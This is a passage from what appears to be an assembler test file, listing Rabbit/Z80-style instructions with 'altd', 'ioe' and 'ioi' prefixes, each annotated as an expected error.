altd bit 5, d ; Error altd bit 5, e ; Error altd bit 5, h ; Error altd bit 5, l ; Error altd bit 6, (hl) ; Error altd bit 6, (ix) ; Error altd bit 6, (ix+127) ; Error altd bit 6, (ix-128) ; Error altd bit 6, (iy) ; Error altd bit 6, (iy+127) ; Error altd bit 6, (iy-128) ; Error altd bit 6, a ; Error altd bit 6, b ; Error altd bit 6, c ; Error altd bit 6, d ; Error altd bit 6, e ; Error altd bit 6, h ; Error altd bit 6, l ; Error altd bit 7, (hl) ; Error altd bit 7, (ix) ; Error altd bit 7, (ix+127) ; Error altd bit 7, (ix-128) ; Error altd bit 7, (iy) ; Error altd bit 7, (iy+127) ; Error altd bit 7, (iy-128) ; Error altd bit 7, a ; Error altd bit 7, b ; Error altd bit 7, c ; Error altd bit 7, d ; Error altd bit 7, e ; Error altd bit 7, h ; Error altd bit 7, l ; Error altd bit 8, (hl) ; Error altd bit 8, (hl) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy-128) ; Error altd bit 8, (iy-128) ; Error altd bit 8, a ; Error altd bit 8, a ; Error altd bit 8, b ; Error altd bit 8, b ; Error altd bit 8, c ; Error altd bit 8, c ; Error altd bit 8, d ; Error altd bit 8, d ; Error altd bit 8, e ; Error altd bit 8, e ; Error altd bit 8, h ; Error altd bit 8, h ; Error altd bit 8, l ; Error altd bit 8, l ; Error altd bool hl ; Error altd bool ix ; Error altd bool iy ; Error altd ccf ; Error altd ccf f ; Error altd cp (hl) ; Error altd cp (ix) ; Error altd cp (ix+127) ; Error altd cp (ix-128) ; Error altd cp (iy) ; Error altd cp (iy+127) ; Error altd cp (iy-128) ; Error altd cp -128 ; Error altd cp 127 ; Error altd cp 255 ; Error altd cp a ; Error altd cp a, (hl) ; Error altd cp a, (ix) ; Error altd cp a, (ix+127) ; Error altd cp a, (ix-128) ; Error altd cp a, (iy) ; Error altd cp a, (iy+127) ; Error altd cp a, (iy-128) ; Error altd cp a, -128 ; Error altd cp a, 127 ; Error altd cp a, 255 ; Error altd cp a, a ; Error altd cp a, b ; Error altd cp a, c ; Error altd cp a, d ; Error altd cp a, e ; Error altd cp a, h ; Error altd cp a, l ; Error altd cp b ; Error altd cp c ; Error altd cp d ; Error altd cp e ; Error altd cp h ; Error altd cp l ; Error altd cpl ; Error altd cpl a ; Error altd cpl a' ; Error altd dec (hl) ; Error altd dec (ix) ; Error altd dec (ix+127) ; Error altd dec (ix-128) ; Error altd dec (iy) ; Error altd dec (iy+127) ; Error altd dec (iy-128) ; Error altd dec a ; Error altd dec b ; Error altd dec bc ; Error altd dec c ; Error altd dec d ; Error altd dec de ; Error altd dec e ; Error altd dec h ; Error altd dec hl ; Error altd dec l ; Error altd djnz ASMPC ; Error altd djnz b, ASMPC ; Error altd ex (sp), hl ; Error altd ex de', hl ; Error altd ex de, hl ; Error altd inc (hl) ; Error altd inc (ix) ; Error altd inc (ix+127) ; Error altd inc (ix-128) ; Error altd inc (iy) ; Error altd inc (iy+127) ; Error altd inc (iy-128) ; Error altd inc a ; Error altd inc b ; Error altd inc bc ; Error altd inc c ; Error altd inc d ; Error altd inc de ; Error altd inc e ; Error altd inc h ; Error altd inc hl ; Error altd inc l ; Error altd ioe adc (hl) ; Error altd ioe adc (ix) ; Error altd ioe adc (ix+127) ; Error altd ioe adc (ix-128) ; Error altd ioe adc (iy) ; Error altd ioe adc (iy+127) ; Error altd ioe adc (iy-128) ; Error altd ioe adc a, (hl) ; Error altd ioe adc a, (ix) ; Error altd ioe adc a, (ix+127) ; Error altd ioe adc a, (ix-128) ; Error altd ioe adc a, (iy) ; Error altd ioe adc a, (iy+127) ; Error altd ioe adc a, (iy-128) ; Error altd ioe add (hl) ; Error altd ioe add (ix) ; Error altd ioe add (ix+127) ; Error altd ioe add (ix-128) ; Error altd ioe add (iy) ; Error altd ioe add (iy+127) ; Error altd ioe add (iy-128) ; Error altd ioe add a, (hl) ; Error altd ioe add a, (ix) ; Error altd ioe add a, (ix+127) ; Error altd ioe add a, (ix-128) ; Error altd ioe add a, (iy) ; Error altd ioe add a, (iy+127) ; Error altd ioe add a, (iy-128) ; Error altd ioe and (hl) ; Error altd ioe and (ix) ; Error altd ioe and (ix+127) ; Error altd ioe and (ix-128) ; Error altd ioe and (iy) ; Error altd ioe and (iy+127) ; Error altd ioe and (iy-128) ; Error altd ioe and a, (hl) ; Error altd ioe and a, (ix) ; Error altd ioe and a, (ix+127) ; Error altd ioe and a, (ix-128) ; Error altd ioe and a, (iy) ; Error altd ioe and a, (iy+127) ; Error altd ioe and a, (iy-128) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit 0, (hl) ; Error altd ioe bit 0, (ix) ; Error altd ioe bit 0, (ix+127) ; Error altd ioe bit 0, (ix-128) ; Error altd ioe bit 0, (iy) ; Error altd ioe bit 0, (iy+127) ; Error altd ioe bit 0, (iy-128) ; Error altd ioe bit 1, (hl) ; Error altd ioe bit 1, (ix) ; Error altd ioe bit 1, (ix+127) ; Error altd ioe bit 1, (ix-128) ; Error altd ioe bit 1, (iy) ; Error altd ioe bit 1, (iy+127) ; Error altd ioe bit 1, (iy-128) ; Error altd ioe bit 2, (hl) ; Error altd ioe bit 2, (ix) ; Error altd ioe bit 2, (ix+127) ; Error altd ioe bit 2, (ix-128) ; Error altd ioe bit 2, (iy) ; Error altd ioe bit 2, (iy+127) ; Error altd ioe bit 2, (iy-128) ; Error altd ioe bit 3, (hl) ; Error altd ioe bit 3, (ix) ; Error altd ioe bit 3, (ix+127) ; Error altd ioe bit 3, (ix-128) ; Error altd ioe bit 3, (iy) ; Error altd ioe bit 3, (iy+127) ; Error altd ioe bit 3, (iy-128) ; Error altd ioe bit 4, (hl) ; Error altd ioe bit 4, (ix) ; Error altd ioe bit 4, (ix+127) ; Error altd ioe bit 4, (ix-128) ; Error altd ioe bit 4, (iy) ; Error altd ioe bit 4, (iy+127) ; Error altd ioe bit 4, (iy-128) ; Error altd ioe bit 5, (hl) ; Error altd ioe bit 5, (ix) ; Error altd ioe bit 5, (ix+127) ; Error altd ioe bit 5, (ix-128) ; Error altd ioe bit 5, (iy) ; Error altd ioe bit 5, (iy+127) ; Error altd ioe bit 5, (iy-128) ; Error altd ioe bit 6, (hl) ; Error altd ioe bit 6, (ix) ; Error altd ioe bit 6, (ix+127) ; Error altd ioe bit 6, (ix-128) ; Error altd ioe bit 6, (iy) ; Error altd ioe bit 6, (iy+127) ; Error altd ioe bit 6, (iy-128) ; Error altd ioe bit 7, (hl) ; Error altd ioe bit 7, (ix) ; Error altd ioe bit 7, (ix+127) ; Error altd ioe bit 7, (ix-128) ; Error altd ioe bit 7, (iy) ; Error altd ioe bit 7, (iy+127) ; Error altd ioe bit 7, (iy-128) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe cp (hl) ; Error altd ioe cp (ix) ; Error altd ioe cp (ix+127) ; Error altd ioe cp (ix-128) ; Error altd ioe cp (iy) ; Error altd ioe cp (iy+127) ; Error altd ioe cp (iy-128) ; Error altd ioe cp a, (hl) ; Error altd ioe cp a, (ix) ; Error altd ioe cp a, (ix+127) ; Error altd ioe cp a, (ix-128) ; Error altd ioe cp a, (iy) ; Error altd ioe cp a, (iy+127) ; Error altd ioe cp a, (iy-128) ; Error altd ioe dec (hl) ; Error altd ioe dec (ix) ; Error altd ioe dec (ix+127) ; Error altd ioe dec (ix-128) ; Error altd ioe dec (iy) ; Error altd ioe dec (iy+127) ; Error altd ioe dec (iy-128) ; Error altd ioe inc (hl) ; Error altd ioe inc (ix) ; Error altd ioe inc (ix+127) ; Error altd ioe inc (ix-128) ; Error altd ioe inc (iy) ; Error altd ioe inc (iy+127) ; Error altd ioe inc (iy-128) ; Error altd ioe ld a, (-32768) ; Error altd ioe ld a, (32767) ; Error altd ioe ld a, (65535) ; Error altd ioe ld a, (bc) ; Error altd ioe ld a, (de) ; Error altd ioe ld a, (hl) ; Error altd ioe ld a, (ix) ; Error altd ioe ld a, (ix+127) ; Error altd ioe ld a, (ix-128) ; Error altd ioe ld a, (iy) ; Error altd ioe ld a, (iy+127) ; Error altd ioe ld a, (iy-128) ; Error altd ioe ld b, (hl) ; Error altd ioe ld b, (ix) ; Error altd ioe ld b, (ix+127) ; Error altd ioe ld b, (ix-128) ; Error altd ioe ld b, (iy) ; Error altd ioe ld b, (iy+127) ; Error altd ioe ld b, (iy-128) ; Error altd ioe ld bc, (-32768) ; Error altd ioe ld bc, (32767) ; Error altd ioe ld bc, (65535) ; Error altd ioe ld c, (hl) ; Error altd ioe ld c, (ix) ; Error altd ioe ld c, (ix+127) ; Error altd ioe ld c, (ix-128) ; Error altd ioe ld c, (iy) ; Error altd ioe ld c, (iy+127) ; Error altd ioe ld c, (iy-128) ; Error altd ioe ld d, (hl) ; Error altd ioe ld d, (ix) ; Error altd ioe ld d, (ix+127) ; Error altd ioe ld d, (ix-128) ; Error altd ioe ld d, (iy) ; Error altd ioe ld d, (iy+127) ; Error altd ioe ld d, (iy-128) ; Error altd ioe ld de, (-32768) ; Error altd ioe ld de, (32767) ; Error altd ioe ld de, (65535) ; Error altd ioe ld e, (hl) ; Error altd ioe ld e, (ix) ; Error altd ioe ld e, (ix+127) ; Error altd ioe ld e, (ix-128) ; Error altd ioe ld e, (iy) ; Error altd ioe ld e, (iy+127) ; Error altd ioe ld e, (iy-128) ; Error altd ioe ld h, (hl) ; Error altd ioe ld h, (ix) ; Error altd ioe ld h, (ix+127) ; Error altd ioe ld h, (ix-128) ; Error altd ioe ld h, (iy) ; Error altd ioe ld h, (iy+127) ; Error altd ioe ld h, (iy-128) ; Error altd ioe ld hl, (-32768) ; Error altd ioe ld hl, (32767) ; Error altd ioe ld hl, (65535) ; Error altd ioe ld hl, (hl) ; Error altd ioe ld hl, (hl+127) ; Error altd ioe ld hl, (hl-128) ; Error altd ioe ld hl, (ix) ; Error altd ioe ld hl, (ix+127) ; Error altd ioe ld hl, (ix-128) ; Error altd ioe ld hl, (iy) ; Error altd ioe ld hl, (iy+127) ; Error altd ioe ld hl, (iy-128) ; Error altd ioe ld l, (hl) ; Error altd ioe ld l, (ix) ; Error altd ioe ld l, (ix+127) ; Error altd ioe ld l, (ix-128) ; Error altd ioe ld l, (iy) ; Error altd ioe ld l, (iy+127) ; Error altd ioe ld l, (iy-128) ; Error altd ioe or (hl) ; Error altd ioe or (ix) ; Error altd ioe or (ix+127) ; Error altd ioe or (ix-128) ; Error altd ioe or (iy) ; Error altd ioe or (iy+127) ; Error altd ioe or (iy-128) ; Error altd ioe or a, (hl) ; Error altd ioe or a, (ix) ; Error altd ioe or a, (ix+127) ; Error altd ioe or a, (ix-128) ; Error altd ioe or a, (iy) ; Error altd ioe or a, (iy+127) ; Error altd ioe or a, (iy-128) ; Error altd ioe rl (hl) ; Error altd ioe rl (ix) ; Error altd ioe rl (ix+127) ; Error altd ioe rl (ix-128) ; Error altd ioe rl (iy) ; Error altd ioe rl (iy+127) ; Error altd ioe rl (iy-128) ; Error altd ioe rlc (hl) ; Error altd ioe rlc (ix) ; Error altd ioe rlc (ix+127) ; Error altd ioe rlc (ix-128) ; Error altd ioe rlc (iy) ; Error altd ioe rlc (iy+127) ; Error altd ioe rlc (iy-128) ; Error altd ioe rr (hl) ; Error altd ioe rr (ix) ; Error altd ioe rr (ix+127) ; Error altd ioe rr (ix-128) ; Error altd ioe rr (iy) ; Error altd ioe rr (iy+127) ; Error altd ioe rr (iy-128) ; Error altd ioe rrc (hl) ; Error altd ioe rrc (ix) ; Error altd ioe rrc (ix+127) ; Error altd ioe rrc (ix-128) ; Error altd ioe rrc (iy) ; Error altd ioe rrc (iy+127) ; Error altd ioe rrc (iy-128) ; Error altd ioe sbc (hl) ; Error altd ioe sbc (ix) ; Error altd ioe sbc (ix+127) ; Error altd ioe sbc (ix-128) ; Error altd ioe sbc (iy) ; Error altd ioe sbc (iy+127) ; Error altd ioe sbc (iy-128) ; Error altd ioe sbc a, (hl) ; Error altd ioe sbc a, (ix) ; Error altd ioe sbc a, (ix+127) ; Error altd ioe sbc a, (ix-128) ; Error altd ioe sbc a, (iy) ; Error altd ioe sbc a, (iy+127) ; Error altd ioe sbc a, (iy-128) ; Error altd ioe sla (hl) ; Error altd ioe sla (ix) ; Error altd ioe sla (ix+127) ; Error altd ioe sla (ix-128) ; Error altd ioe sla (iy) ; Error altd ioe sla (iy+127) ; Error altd ioe sla (iy-128) ; Error altd ioe sra (hl) ; Error altd ioe sra (ix) ; Error altd ioe sra (ix+127) ; Error altd ioe sra (ix-128) ; Error altd ioe sra (iy) ; Error altd ioe sra (iy+127) ; Error altd ioe sra (iy-128) ; Error altd ioe srl (hl) ; Error altd ioe srl (ix) ; Error altd ioe srl (ix+127) ; Error altd ioe srl (ix-128) ; Error altd ioe srl (iy) ; Error altd ioe srl (iy+127) ; Error altd ioe srl (iy-128) ; Error altd ioe sub (hl) ; Error altd ioe sub (ix) ; Error altd ioe sub (ix+127) ; Error altd ioe sub (ix-128) ; Error altd ioe sub (iy) ; Error altd ioe sub (iy+127) ; Error altd ioe sub (iy-128) ; Error altd ioe sub a, (hl) ; Error altd ioe sub a, (ix) ; Error altd ioe sub a, (ix+127) ; Error altd ioe sub a, (ix-128) ; Error altd ioe sub a, (iy) ; Error altd ioe sub a, (iy+127) ; Error altd ioe sub a, (iy-128) ; Error altd ioe xor (hl) ; Error altd ioe xor (ix) ; Error altd ioe xor (ix+127) ; Error altd ioe xor (ix-128) ; Error altd ioe xor (iy) ; Error altd ioe xor (iy+127) ; Error altd ioe xor (iy-128) ; Error altd ioe xor a, (hl) ; Error altd ioe xor a, (ix) ; Error altd ioe xor a, (ix+127) ; Error altd ioe xor a, (ix-128) ; Error altd ioe xor a, (iy) ; Error altd ioe xor a, (iy+127) ; Error altd ioe xor a, (iy-128) ; Error altd ioi adc (hl) ; Error altd ioi adc (ix) ; Error altd ioi adc (ix+127) ; Error altd ioi adc (ix-128) ; Error altd ioi adc (iy) ; Error altd ioi adc (iy+127) ; Error altd ioi adc (iy-128) ; Error altd ioi adc a, (hl) ; Error altd ioi adc a, (ix) ; Error altd ioi adc a, (ix+127) ; Error altd ioi adc a, (ix-128) ; Error altd ioi adc a, (iy) ; Error altd ioi adc a, (iy+127) ; Error altd ioi adc a, (iy-128) ; Error altd ioi add (hl) ; Error altd ioi add (ix) ; Error altd ioi add (ix+127) ; Error altd ioi add (ix-128) ; Error altd ioi add (iy) ; Error altd ioi add (iy+127) ; Error altd ioi add (iy-128) ; Error altd ioi add a, (hl) ; Error altd ioi add a, (ix) ; Error altd ioi add a, (ix+127) ; Error altd ioi add a, (ix-128) ; Error altd ioi add a, (iy) ; Error altd ioi add a, (iy+127) ; Error altd ioi add a, (iy-128) ; Error altd ioi and (hl) ; Error altd ioi and (ix) ; Error altd ioi and (ix+127) ; Error altd ioi and (ix-128) ; Error altd ioi and (iy) ; Error altd ioi and (iy+127) ; Error altd ioi and (iy-128) ; Error altd ioi and a, (hl) ; Error altd ioi and a, (ix) ; Error altd ioi and a, (ix+127) ; Error altd ioi and a, (ix-128) ; Error altd ioi and a, (iy) ; Error altd ioi and a, (iy+127) ; Error altd ioi and a, (iy-128) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit 0, (hl) ; Error altd ioi bit 0, (ix) ; Error altd ioi bit 0, (ix+127) ; Error altd ioi bit 0, (ix-128) ; Error altd ioi bit 0, (iy) ; Error altd ioi bit 0, (iy+127) ; Error altd ioi bit 0, (iy-128) ; Error altd ioi bit 1, (hl) ; Error altd ioi bit 1, (ix) ; Error altd ioi bit 1, (ix+127) ; Error altd ioi bit 1, (ix-128) ; Error altd ioi bit 1, (iy) ; Error altd ioi bit 1, (iy+127) ; Error altd ioi bit 1, (iy-128) ; Error altd ioi bit 2, (hl) ; Error altd ioi bit 2, (ix) ; Error altd ioi bit 2, (ix+127) ; Error altd ioi bit 2, (ix-128) ; Error altd ioi bit 2, (iy) ; Error altd ioi bit 2, (iy+127) ; Error altd ioi bit 2, (iy-128) ; Error altd ioi bit 3, (hl) ; Error altd ioi bit 3, (ix) ; Error altd ioi bit 3, (ix+127) ; Error altd ioi bit 3, (ix-128) ; Error altd ioi bit 3, (iy) ; Error altd ioi bit 3, (iy+127) ; Error altd ioi bit 3, (iy-128) ; Error altd ioi bit 4, (hl) ; Error altd ioi bit 4, (ix) ; Error altd ioi bit 4, (ix+127) ; Error altd ioi bit 4, (ix-128) ; Error altd ioi bit 4, (iy) ; Error altd ioi bit 4, (iy+127) ; Error altd ioi bit 4, (iy-128) ; Error altd ioi bit 5, (hl) ; Error altd ioi bit 5, (ix) ; Error altd ioi bit 5, (ix+127) ; Error altd ioi bit 5, (ix-128) ; Error altd ioi bit 5, (iy) ; Error altd ioi bit 5, (iy+127) ; Error altd ioi bit 5, (iy-128) ; Error altd ioi bit 6, (hl) ; Error altd ioi bit 6, (ix) ; Error altd ioi bit 6, (ix+127) ; Error altd ioi bit 6, (ix-128) ; Error altd ioi bit 6, (iy) ; Error altd ioi bit 6, (iy+127) ; Error altd ioi bit 6, (iy-128) ; Error altd ioi bit 7, (hl) ; Error altd ioi bit 7, (ix) ; Error altd ioi bit 7, (ix+127) ; Error altd ioi bit 7, (ix-128) ; Error altd ioi bit 7, (iy) ; Error altd ioi bit 7, (iy+127) ; Error altd ioi bit 7, (iy-128) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy-128) ; Error altd ioi bit 8, (iy-128) ; Error altd ioi cp (hl) ; Error altd ioi cp (ix) ; Error altd ioi cp (ix+127) ; Error altd ioi cp (ix-128) ; Error altd ioi cp (iy) ; Error altd ioi cp (iy+127) ; Error altd ioi cp (iy-128) ; Error altd ioi cp a, (hl) ; Error altd ioi cp a, (ix) ; Error altd ioi cp a, (ix+127) ; Error altd ioi cp a, (ix-128) ; Error altd ioi cp a, (iy) ; Error altd ioi cp a, (iy+127) ; Error altd ioi cp a, (iy-128) ; Error altd ioi dec (hl) ; Error altd ioi dec (ix) ; Error altd ioi dec (ix+127) ; Error altd ioi dec (ix-128) ; Error altd ioi dec (iy) ; Error altd ioi dec (iy+127) ; Error altd ioi dec (iy-128) ; Error altd ioi inc (hl) ; Error altd ioi inc (ix) ; Error altd ioi inc (ix+127) ; Error altd ioi inc (ix-128) ; Error altd ioi inc (iy) ; Error altd ioi inc (iy+127) ; Error altd ioi inc (iy-128) ; Error altd ioi ld a, (-32768) ; Error altd ioi ld a, (32767) ; Error altd ioi ld a, (65535) ; Error altd ioi ld a, (bc) ; Error altd ioi ld a, (de) ; Error altd ioi ld a, (hl) ; Error altd ioi ld a, (ix) ; Error altd ioi ld a, (ix+127) ; Error altd ioi ld a, (ix-128) ; Error altd ioi ld a, (iy) ; Error altd ioi ld a, (iy+127) ; Error altd ioi ld a, (iy-128) ; Error altd ioi ld b, (hl) ; Error altd ioi ld b, (ix) ; Error altd ioi ld b, (ix+127) ; Error altd ioi ld b, (ix-128) ; Error altd ioi ld b, (iy) ; Error altd ioi ld b, (iy+127) ; Error altd ioi ld b, (iy-128) ; Error altd ioi ld bc, (-32768) ; Error altd ioi ld bc, (32767) ; Error altd ioi ld bc, (65535) ; Error altd ioi ld c, (hl) ; Error altd ioi ld c, (ix) ; Error altd ioi ld c, (ix+127) ; Error altd ioi ld c, (ix-128) ; Error altd ioi ld c, (iy) ; Error altd ioi ld c, (iy+127) ; Error altd ioi ld c, (iy-128) ; Error altd ioi ld d, (hl) ; Error altd ioi ld d, (ix) ; Error altd ioi ld d, (ix+127) ; Error altd ioi ld d, (ix-128) ; Error altd ioi ld d, (iy) ; Error altd ioi ld d, (iy+127) ; Error altd ioi ld d, (iy-128) ; Error altd ioi ld de, (-32768) ; Error altd ioi ld de, (32767) ; Error altd ioi ld de, (65535) ; Error altd ioi ld e, (hl) ; Error altd ioi ld e, (ix) ; Error altd ioi ld e, (ix+127) ; Error altd ioi ld e, (ix-128) ; Error altd ioi ld e, (iy) ; Error altd ioi ld e, (iy+127) ; Error altd ioi ld e, (iy-128) ; Error altd ioi ld h, (hl) ; Error altd ioi ld h, (ix) ; Error altd ioi ld h, (ix+127) ; Error altd ioi ld h, (ix-128) ; Error altd ioi ld h, (iy) ; Error altd ioi ld h, (iy+127) ; Error altd ioi ld h, (iy-128) ; Error altd ioi ld hl, (-32768) ; Error altd ioi ld hl, (32767) ; Error altd ioi ld hl, (65535) ; Error altd ioi ld hl, (hl) ; Error altd ioi ld hl, (hl+127) ; Error altd ioi ld hl, (hl-128) ; Error altd ioi ld hl, (ix) ; Error altd ioi ld hl, (ix+127) ; Error altd ioi ld hl, (ix-128) ; Error altd ioi ld hl, (iy) ; Error altd ioi ld hl, (iy+127) ; Error altd ioi ld hl, (iy-128) ; Error altd ioi ld l, (hl) ; Error altd ioi ld l, (ix) ; Error altd ioi ld l, (ix+127) ; Error altd ioi ld l, (ix-128) ; Error altd ioi ld l, (iy) ; Error altd ioi ld l, (iy+127) ; Error altd ioi ld l, (iy-128) ; Error altd ioi or (hl) ; Error altd ioi or (ix) ; Error altd ioi or (ix+127) ; Error altd ioi or (ix-128) ; Error altd ioi or (iy) ; Error altd ioi or (iy+127) ; Error altd ioi or (iy-128) ; Error altd ioi or a, (hl) ; Error altd ioi or a, (ix) ; Error altd ioi or a, (ix+127) ; Error altd ioi or a, (ix-128) ; Error altd ioi or a, (iy) ; Error altd ioi or a, (iy+127) ; Error altd ioi or a, (iy-128) ; Error altd ioi rl (hl) ; Error altd ioi rl (ix) ; Error altd ioi rl (ix+127) ; Error altd ioi rl (ix-128) ; Error altd ioi rl (iy) ; Error altd ioi rl (iy+127) ; Error altd ioi rl (iy-128) ; Error altd ioi rlc (hl) ; Error altd ioi rlc (ix) ; Error altd ioi rlc (ix+127) ; Error altd ioi rlc (ix-128) ; Error altd ioi rlc (iy) ; Error altd ioi rlc (iy+127) ; Error altd ioi rlc (iy-128) ; Error altd ioi rr (hl) ; Error altd ioi rr (ix) ; Error altd ioi rr (ix+127) ; Error altd ioi rr (ix-128) ; Error altd ioi rr (iy) ; Error altd ioi rr (iy+127) ; Error altd ioi rr (iy-128) ; Error altd ioi rrc (hl) ; Error altd ioi rrc (ix) ; Error altd ioi rrc (ix+127) ; Error altd ioi rrc (ix-128) ; Error altd ioi rrc (iy) ; Error altd ioi rrc (iy+127) ; Error altd ioi rrc (iy-128) ; Error altd ioi sbc (hl) ; Error altd ioi sbc (ix) ; Error altd ioi sbc (ix+127) ; Error altd ioi sbc (ix-128) ; Error altd ioi sbc (iy) ; Error altd ioi sbc (iy+127) ; Error altd ioi sbc (iy-128) ; Error altd ioi sbc a, (hl) ; Error altd ioi sbc a, (ix) ; Error altd ioi sbc a, (ix+127) ; Error altd ioi sbc a, (ix-128) ; Error altd ioi sbc a, (iy) ; Error altd ioi sbc a, (iy+127) ; Error altd ioi sbc a, (iy-128) ; Error altd ioi sla (hl) ; Error altd ioi sla (ix) ; Error altd ioi sla (ix+127) ; Error altd ioi sla (ix-128) ; Error altd ioi sla (iy) ; Error altd ioi sla (iy+127) ; Error altd ioi sla (iy-128) ; Error altd ioi sra (hl) ; Error altd ioi sra (ix) ; Error altd ioi sra (ix+127) ; Error altd ioi sra (ix-128) ; Error altd ioi sra (iy) ; Error altd ioi sra (iy+127) ; Error altd ioi sra (iy-128) ; Error altd ioi srl (hl) ; Error altd ioi srl (ix) ; Error altd ioi srl (ix+127) ; Error altd ioi srl (ix-128) ; Error altd ioi srl (iy) ; Error altd ioi srl (iy+127) ; Error altd ioi srl (iy-128) ; Error altd ioi sub (hl) ; Error altd ioi sub (ix) ; Error altd ioi sub (ix+127) ; Error altd ioi sub (ix-128) ; Error altd ioi sub (iy) ; Error altd ioi sub (iy+127) ; Error altd ioi sub (iy-128) ; Error altd ioi sub a, (hl) ; Error altd ioi sub a, (ix) ; Error altd ioi sub a, (ix+127) ; Error altd ioi sub a, (ix-128) ; Error altd ioi sub a, (iy) ; Error altd ioi sub a, (iy+127) ; Error altd ioi sub a, (iy-128) ; Error altd ioi xor (hl) ; Error altd ioi xor (ix) ; Error altd ioi xor (ix+127) ; Error altd ioi xor (ix-128) ; Error altd ioi xor (iy) ; Error altd ioi xor (iy+127) ; Error altd ioi xor (iy-128) ; Error altd ioi xor a, (hl) ; Error altd ioi xor a, (ix) ; Error altd ioi xor a, (ix+127) ; Error altd ioi xor a, (ix-128) ; Error altd ioi xor a, (iy) ; Error altd ioi xor a, (iy+127) ; Error altd ioi xor a, (iy-128) ; Error altd ld a, (-32768) ; Error altd ld a, (32767) ; Error altd ld a, (65535) ; Error altd ld a, (bc) ; Error altd ld a, (de) ; Error altd ld a, (hl) ; Error altd ld a, (ix) ; Error altd ld a, (ix+127) ; Error altd ld a, (ix-128) ; Error altd ld a, (iy) ; Error altd ld a, (iy+127) ; Error altd ld a, (iy-128) ; Error altd ld a, -128 ; Error altd ld a, 127 ; Error altd ld a, 255 ; Error altd ld a, a ; Error altd ld a, b ; Error altd ld a, c ; Error altd ld a, d ; Error altd ld a, e ; Error altd ld a, eir ; Error altd ld a, h ; Error altd ld a, iir ; Error altd ld a, l ; Error altd ld a, xpc ; Error altd ld b, (hl) ; Error altd ld b, (ix) ; Error altd ld b, (ix+127) ; Error altd ld b, (ix-128) ; Error altd ld b, (iy) ; Error altd ld b, (iy+127) ; Error altd ld b, (iy-128) ; Error altd ld b, -128 ; Error altd ld b, 127 ; Error altd ld b, 255 ; Error altd ld b, a ; Error altd ld b, b ; Error altd ld b, c ; Error altd ld b, d ; Error altd ld b, e ; Error altd ld b, h ; Error altd ld b, l ; Error altd ld bc, (-32768) ; Error altd ld bc, (32767) ; Error altd ld bc, (65535) ; Error altd ld bc, -32768 ; Error altd ld bc, 32767 ; Error altd ld bc, 65535 ; Error altd ld bc, bc ; Error altd ld bc, de ; Error altd ld c, (hl) ; Error altd ld c, (ix) ; Error altd ld c, (ix+127) ; Error altd ld c, (ix-128) ; Error altd ld c, (iy) ; Error altd ld c, (iy+127) ; Error altd ld c, (iy-128) ; Error altd ld c, -128 ; Error altd ld c, 127 ; Error altd ld c, 255 ; Error altd ld c, a ; Error altd ld c, b ; Error altd ld c, c ; Error altd ld c, d ; Error altd ld c, e ; Error altd ld c, h ; Error altd ld c, l ; Error altd ld d, (hl) ; Error altd ld d, (ix) ; Error altd ld d, (ix+127) ; Error altd ld d, (ix-128) ; Error altd ld d, (iy) ; Error altd ld d, (iy+127) ; Error altd ld d, (iy-128) ; Error altd ld d, -128 ; Error altd ld d, 127 ; Error altd ld d, 255 ; Error altd ld d, a ; Error altd ld d, b ; Error altd ld d, c ; Error altd ld d, d ; Error altd ld d, e ; Error altd ld d, h ; Error altd ld d, l ; Error altd ld de, (-32768) ; Error altd ld de, (32767) ; Error altd ld de, (65535) ; Error altd ld de, -32768 ; Error altd ld de, 32767 ; Error altd ld de, 65535 ; Error altd ld de, bc ; Error altd ld de, de ; Error altd ld e, (hl) ; Error altd ld e, (ix) ; Error altd ld e, (ix+127) ; Error altd ld e, (ix-128) ; Error altd ld e, (iy) ; Error altd ld e, (iy+127) ; Error altd ld e, (iy-128) ; Error altd ld e, -128 ; Error altd ld e, 127 ; Error altd ld e, 255 ; Error altd ld e, a ; Error altd ld e, b ; Error altd ld e, c ; Error altd ld e, d ; Error altd ld e, e ; Error altd ld e, h ; Error altd ld e, l ; Error altd ld h, (hl) ; Error altd ld h, (ix) ; Error altd ld h, (ix+127) ; Error altd ld h, (ix-128) ; Error altd ld h, (iy) ; Error altd ld h, (iy+127) ; Error altd ld h, (iy-128) ; Error altd ld h, -128 